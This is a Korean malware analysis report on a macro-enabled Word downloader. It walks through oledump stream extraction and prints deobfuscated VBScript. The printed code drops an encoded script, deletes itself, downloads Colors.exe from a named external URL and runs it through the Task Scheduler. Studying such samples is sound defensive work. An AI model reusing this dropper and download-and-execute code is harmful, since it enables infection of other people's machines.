Search

48e41e2d764dd44bd4125f936e1a0adc.doc 악성코드 분석

Extension
Malware Family
Malware Type
Actor

1. 개요

1.1 분석 수행 인원

이수영

1.2 파일 정보

File Name
48e41e2d764dd44bd4125f936e1a0adc.doc
Size
713 KB
Type
MS Word(Structured storate)
Behavior
Downloader
MD5
48e41e2d764dd44bd4125f936e1a0adc
SHA256
9f7dbeea18f8525bf94d3d877ca433545915f06483b597d84beb2a3cd30589ca
ssdeep
6144:5QS1BmXp1LdZ3toz0F4cO+Y5mmb3q4W2TlFWhqxNs7NLQLn9F2FEYxbhyeikXluV:pBm51LHOz0FfO+OvaKXhOVaPkBqok
VirusTotal
41 / 65 (63.1%)

1.3 Time table

2. 악성코드 상세 분석

2.1 48e41e2d764dd44bd4125f936e1a0adc.doc 분석

(1) DOC 스트림 분석

$ oledump.py 48e41e2d764dd44bd4125f936e1a0adc.doc
Bash
복사
Doc내의 스트림을 확인해보면 위와 같다. 그 중에서 8, 9번 스트림에 매크로가 포함되어 있는 것을 확인할 수 있다. 첫번째로 매크로가 포함된 8, 9번 스트림을 추출해서 분석해야 한다.

(2) 스트림 추출 및 분석

$ oledump.py 48e41e2d764dd44bd4125f936e1a0adc.doc -s 8 -v > s8.vbs $ oledump.py 48e41e2d764dd44bd4125f936e1a0adc.doc -s 9 -v > s9.vbs
Bash
복사
우선 8, 9번 스트림을 각각 s8.vbs, s9.vbs로 추출하고 분석을 진행한다. 확인해보면 s8.vbs와 s9.vbs 모두 관계없는 코드에 해당하는 주석이 많음을 확인할 수 있다. 따라서 추가적으로 주석을 삭제한다.
s9.vbs에 Document_Open()함수가 있으므로 s9.vbs내의 코드부터 시작한다. 문서를 열면 제일 먼저 bsEZIkCU 변수에 저장된 데이터를 특정 파일에 저장한다. 파일 경로와 이름은 Module1.LtCvdeO 함수의 반환값을 통해 알 수 있다. s8.vbs 파일을 보면 VB_Name이 Module1이고 내부에 LtCvdeO()함수가 존재한다.
Attribute VB_Name = "Module1" Public Function LtCvdeO() CWAwmvwl = Replace("UGETUGEEUGEMUGEP", "UGE", "") ' TEMP tuDCxOiw = Environ(CWAwmvwl) & Replace("\ePIFLrrPIFLorPIFL_loPIFLg.PIFLvPIFLbPIFLe", "PIFL", "") ' %TEMP%\error_log.vbe LtCvdeO = tuDCxOiw End Function
Visual Basic
복사
LtCvdeO() 함수를 분석하면 아래와 같다.
CWAwmvwl 변수에 “TEMP” 문자열 저장
tuDCxOiw 변수에 “%TEMP%\error_log.vbe” 문자열 저장
LtCvdeO 함수가 종료되면 “%TEMP%\error_log.vbe” 리턴
즉 s9.vbs에서 “%TEMP%\error_log.vbe” 파일을 생성한 후 bsEZIkCU 변수에 저장된 값을 넣고 있다.
%TEMP% 경로에 파일을 생성 후 ucRooOBbx()함수를 호출한다. ucRooOBbx()함수에서 난독화된 부분을 제거하고 코드를 분석했을 때 핵심 코드는 아래와 같다.
Sub ucRooOBbx() On Error Resume Next Dim FWDfCBLPU, mPqhNXPN, SDfrTYTAuK Set sr = CreateObject("Schedule.service") Call sr.Connect Set fr = sr.GetFolder("\") Set td = sr.NewTask(0) With td.Settings .Enabled = True .StartWhenAvailable = True .Hidden = False End With Set tr = td.Triggers With tr.Create(1) .StartBoundary = DPoxlCnR(DateAdd("s", 60, Now)) .EndBoundary = DPoxlCnR(DateAdd("n", 4, Now)) .ExecutionTimeLimit = "PT5M" .Enabled = True End With Set ac = td.Actions.Create(0) ac.Path = "%TEMP%\error_log.vbe" Call fr.RegisterTaskDefinition("LijWXGHxAGtmz", td, 6, , , 3) End Sub
Visual Basic
복사
작업 스케줄러 서비스를 이용해서 “%TEMP%\error_log.vbe” 등록
작업 스케줄러에서 일반적인 작업처럼 동작하며 스케줄러 실행이 가능할 때 실행되도록 활성화된 새 작업 생성
실행 트리거는 작업 스케줄러가 실행되면 1~4분 사이에 트리거 실행 및 실행 시 5분동안 작업이 실행되도록 구성
따라서 현재 VBScript가 실행되면 error_log.vbe 생성 후 직접 실행하는 방식이 아닌 작업 스케줄러를 이용해서 실행하고 있다. 해당 공격 방식은 MITRE ATT&CK를 참조하면 Execution(TA0002)Scheduled Task/Job: Scheduled Task(T1053.005)에 해당한다. 추가 악성 행위는 error_log.vbe 파일에 저장할 데이터인 bsEZIkCU 변수의 데이터를 확인해야 한다.

(3) error_log.vbe 분석

s9.vbs 파일 중 14 ~ 212번째 라인까지 추출해서 출력하면 위와 같이 깨진 데이터가 나온다. 깨진 데이터가 나온 이유는 이 데이터가 저장되는 파일의 확장자에서 알 수 있는데 VBE 확장자는 VBS를 인코딩한 파일이다. 즉 해당 데이터를 디코딩하면 원래의 VBScript를 알 수 있다.
On Error Resume Next Set le = CreateObject("Scripting.FileSystemObject") Call le.DeleteFile(WScript.ScriptFullName, True) set ms=createobject("MSXML2.ServerXMLHTTP.6.0") set ad=createobject("Adodb.Stream") ms.Open "GET", "https://www.octetfruitsllc.com/vendor/phpunit/phpunit/src/Util/PHP/avatar.hlpv", False ms.setRequestHeader "User-Agent", "LD" ms.Send with ad .type=1 .open Execute .write ms.responseBody .savetofile %TEMP%\Colors.exe, 2 end with Set sr = CreateObject("Schedule.service") call sr.Connect() Set fr = sr.GetFolder("\") Set td = sr.NewTask(0) Set ri = td.RegistrationInfo ri.Description = "KUENucn" ri.Author = "Administrator" Set st = td.Settings st.Enabled = True st.StartWhenAvailable = True st.Hidden = False Set tr = td.Triggers Set tgr = tr.Create(1) tgr.StartBoundary = TRES(DateAdd("s", 60, Now)) ' TRES() : Time Setting function tgr.EndBoundary = TRES(DateAdd("n", 4, Now)) ' TRES() : Time Setting function tgr.ExecutionTimeLimit = "PT5M" tgr.Id = "KJHFyej" tgr.Enabled = True Set ac = td.Actions.Create(0) ac.Path = "%TEMP%\Colors.exe" call fr.RegisterTaskDefinition("LMFUrjiu", td, 6, , , 3)
Visual Basic
복사
error_log.vbe를 디코딩하면 위와 같이 실제 VBScript 코드가 나온다. 해당 코드 역시 s8.vbs와 s9.vbs처럼 코드가 난독화 되어있다. 난독화를 해제한 후 핵심적인 행위를 분석하면 아래와 같다.
1.
에러 무시 및 자기 삭제
On Error Resume Next Set le = CreateObject("Scripting.FileSystemObject") Call le.DeleteFile(WScript.ScriptFullName, True)
Visual Basic
복사
코드 실행 시 발생하는 오류 무시
현재 실행 중인 error_log.vbe 파일 삭제
2.
원격 파일 다운로드
set ms=createobject("MSXML2.ServerXMLHTTP.6.0") set ad=createobject("Adodb.Stream") ms.Open "GET", "https://www.octetfruitsllc.com/vendor/phpunit/phpunit/src/Util/PHP/avatar.hlpv", False ms.setRequestHeader "User-Agent", "LD" ms.Send with ad .type=1 .open Execute .write ms.responseBody .savetofile %TEMP%\Colors.exe, 2 end with
Visual Basic
복사
원격 서버에서 악성코드 다운로드 시도
hxxps://www.octetfruitsllc.com/vendor/phpunit/phpunit/src/Util/PHP/avatar.hlpv
%TEMP% 경로에 Colors.exe 이름으로 악성코드 저장
3.
작업 스케줄러에 악성 코드 등록
Set sr = CreateObject("Schedule.service") call sr.Connect() Set fr = sr.GetFolder("\") Set td = sr.NewTask(0) Set ri = td.RegistrationInfo ri.Description = "KUENucn" ri.Author = "Administrator" Set st = td.Settings st.Enabled = True st.StartWhenAvailable = True st.Hidden = False Set tr = td.Triggers Set tgr = tr.Create(1) tgr.StartBoundary = TRES(DateAdd("s", 60, Now)) ' TRES() : Time Setting function tgr.EndBoundary = TRES(DateAdd("n", 4, Now)) ' TRES() : Time Setting function tgr.ExecutionTimeLimit = "PT5M" tgr.Id = "KJHFyej" tgr.Enabled = True Set ac = td.Actions.Create(0) ac.Path = "%TEMP%\Colors.exe" call fr.RegisterTaskDefinition("LMFUrjiu", td, 6, , , 3)
Visual Basic
복사
작업 스케줄러에 %TEMP%\Colors.exe 악성코드 등록
활성화 된 작업을 등록하고 실행되지 못하더라도 가능한 빨리 실행되도록 예약
작업 시작 시간을 기준으로 1~4분에 트리거 동작
동작 시 5분간 지속

2.2 Colors.exe 분석

현재 악성코드 샘플이 없음. 샘플을 찾는 대로 분석 진행 예정(미정)